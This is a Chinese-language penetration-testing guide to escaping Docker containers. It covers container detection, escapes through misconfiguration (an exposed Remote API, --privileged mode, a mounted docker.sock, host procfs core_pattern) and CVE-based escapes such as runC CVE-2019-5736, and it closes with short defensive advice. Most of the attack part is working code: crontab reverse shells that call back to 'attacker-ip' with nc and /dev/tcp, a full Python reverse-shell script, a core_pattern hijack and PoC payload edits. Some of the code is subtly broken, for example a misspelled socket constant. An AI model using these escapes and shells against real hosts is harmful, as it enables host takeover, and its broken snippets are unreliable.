渗透测试之Docker逃逸
字数 1690 2025-08-19 12:42:14
Docker逃逸技术全面指南
一、Docker环境检测
在渗透测试中,判断当前环境是否为Docker容器是逃逸的前提条件。以下是几种有效的检测方法:
-
文件检测法:
- 检查根目录下是否存在
.dockerenv文件 - 检查
/proc/1/cgroup文件中是否包含"docker"字符串
- 检查根目录下是否存在
-
环境变量检测:
- 检查是否存在
container环境变量 - 检查
PATH环境变量中是否有docker相关路径
- 检查是否存在
-
其他辅助检测方法:
- 使用
mount命令查看挂载信息 - 使用
fdisk -l查看硬盘信息 - 检查PID 1的进程名是否为容器特有进程
- 使用
Metasploit中可以使用checkcontainer模块进行自动化检测(虚拟机检测使用checkvm模块)。
二、Docker逃逸技术分类
1. 危险配置导致的逃逸
(1) Docker Remote API未授权访问
利用条件:
- Docker Remote API(2375端口)暴露且未授权
利用方法:
- 通过API启动一个容器,挂载宿主机
/etc目录 - 写入crontab计划任务实现反弹shell
示例代码:
import docker
client = docker.DockerClient(base_url='http://target-ip:2375/')
data = client.containers.run('alpine:latest',
r'''sh -c "echo usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root"''',
remove=True,
volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
(2) 特权模式(--privileged)逃逸
利用条件:
- 容器以
--privileged参数启动
利用步骤:
- 查看磁盘设备:
fdisk -l - 创建挂载点:
mkdir /test - 挂载宿主机磁盘:
mount /dev/vda1 /test - 切换根目录:
chroot /test
后续利用:
- 写入计划任务反弹shell:
echo 'bash -i >& /dev/tcp/attacker-ip/port 0>&1' >> /test/var/spool/cron/crontabs/root - 写入SSH公钥:
mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys
(3) 其他危险参数
--cap-add=SYS_ADMIN:允许执行mount特权操作--net=host:绕过Network Namespace--pid=host:绕过PID Namespace--ipc=host:绕过IPC Namespace
2. 危险挂载导致的逃逸
(1) 挂载Docker Socket
利用条件:
/var/run/docker.sock被挂载到容器中
利用步骤:
- 在容器内安装Docker客户端
- 通过socket与宿主机Docker守护进程通信
- 创建新容器并挂载宿主机根目录
- 使用
chroot切换根目录
(2) 挂载宿主机procfs
利用条件:
- 宿主机
/proc目录被挂载到容器中 - 容器有root权限且未开启User Namespace
利用方法(core_pattern利用):
- 创建反弹shell脚本
/tmp/.x.py:
import os
import pty
import socket
lhost = "attacker-ip"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STOCKET)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", "/dev/null")
pty.spawn("/bin/bash")
os.remove("/tmp/.x.py")
s.close()
if __name__ == "__main__":
main()
- 获取容器在宿主机上的绝对路径:
cat /proc/mounts | grep docker
- 修改core_pattern:
echo -e "|/var/lib/docker/overlay2/[容器ID]/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
- 触发崩溃程序:
int main(void) {int *a = NULL; *a = 1; return 0;}
3. 程序漏洞导致的逃逸
(1) runC容器逃逸漏洞(CVE-2019-5736)
影响版本:
- Docker < 18.09.2
- runC < 1.0-rc6
利用步骤:
- 下载PoC:
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
- 修改Payload:
payload = "#!/bin/bash \n bash -i >& /dev/tcp/attacker-ip/port 0>&1"
- 编译并拷贝到容器:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
docker cp ./main container-id:/tmp
- 等待管理员进入容器触发漏洞
(2) Docker cp命令漏洞(CVE-2019-14271)
影响版本:
- Docker 19.03.0
利用原理:
- 通过替换容器中的libnss.so库注入恶意代码
- 当执行
docker cp命令时触发
(3) 内核漏洞利用(Dirty Cow)
利用条件:
- 宿主机内核存在漏洞(如CVE-2016-5195)
- 容器与宿主机共享内核
利用方法:
git clone https://github.com/gebl/dirtycow-docker-vdso.git
三、防御建议
-
最小权限原则:
- 避免使用
--privileged参数 - 限制容器capabilities
- 启用User Namespace
- 避免使用
-
安全配置:
- 禁止Docker Remote API未授权访问
- 避免挂载敏感目录(/proc, /var/run/docker.sock等)
-
及时更新:
- 保持Docker和宿主机内核版本最新
- 及时修复已知漏洞
-
安全审计:
- 定期检查容器配置
- 监控异常行为